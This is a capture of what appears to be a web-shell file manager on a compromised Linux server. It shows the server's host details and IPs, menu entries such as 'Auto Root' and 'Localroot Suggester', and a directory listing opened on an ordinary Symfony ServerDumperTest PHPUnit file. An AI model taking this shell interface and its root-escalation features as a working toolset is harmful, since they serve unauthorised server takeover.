Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.116.62.169
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
symfony /
var-dumper /
Tests /
Dumper /
Delete
Unzip
Name
Size
Permission
Date
Action
CliDumperTest.php
10.95
KB
-rw-r--r--
2018-11-25 09:00
FunctionsTest.php
1.32
KB
-rw-r--r--
2018-11-25 09:00
HtmlDumperTest.php
8.43
KB
-rw-r--r--
2018-11-25 09:00
ServerDumperTest.php
2.82
KB
-rw-r--r--
2018-11-25 09:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarDumper\Tests\Dumper; use PHPUnit\Framework\TestCase; use Symfony\Component\Process\PhpProcess; use Symfony\Component\Process\Process; use Symfony\Component\VarDumper\Cloner\VarCloner; use Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface; use Symfony\Component\VarDumper\Dumper\DataDumperInterface; use Symfony\Component\VarDumper\Dumper\ServerDumper; class ServerDumperTest extends TestCase { private const VAR_DUMPER_SERVER = 'tcp://127.0.0.1:9913'; public function testDumpForwardsToWrappedDumperWhenServerIsUnavailable() { $wrappedDumper = $this->getMockBuilder(DataDumperInterface::class)->getMock(); $dumper = new ServerDumper(self::VAR_DUMPER_SERVER, $wrappedDumper); $cloner = new VarCloner(); $data = $cloner->cloneVar('foo'); $wrappedDumper->expects($this->once())->method('dump')->with($data); $dumper->dump($data); } public function testDump() { $wrappedDumper = $this->getMockBuilder(DataDumperInterface::class)->getMock(); $wrappedDumper->expects($this->never())->method('dump'); // test wrapped dumper is not used $cloner = new VarCloner(); $data = $cloner->cloneVar('foo'); $dumper = new ServerDumper(self::VAR_DUMPER_SERVER, $wrappedDumper, array( 'foo_provider' => new class() implements ContextProviderInterface { public function getContext(): ?array { return array('foo'); } }, )); $dumped = null; $process = $this->getServerProcess(); $process->start(function ($type, $buffer) use ($process, &$dumped, $dumper, $data) { if (Process::ERR === $type) { $process->stop(); $this->fail(); } elseif ("READY\n" === $buffer) { $dumper->dump($data); } else { $dumped .= $buffer; } }); $process->wait(); $this->assertTrue($process->isSuccessful()); $this->assertStringMatchesFormat(<<<'DUMP' (3) "foo" [ "timestamp" => %d.%d "foo_provider" => [ (3) "foo" ] ] %d DUMP , $dumped); } private function getServerProcess(): Process { $process = new PhpProcess(file_get_contents(__DIR__.'/../Fixtures/dump_server.php'), null, array( 'COMPONENT_ROOT' => __DIR__.'/../../', 'VAR_DUMPER_SERVER' => self::VAR_DUMPER_SERVER, )); $process->inheritEnvironmentVariables(true); return $process->setTimeout(9); } }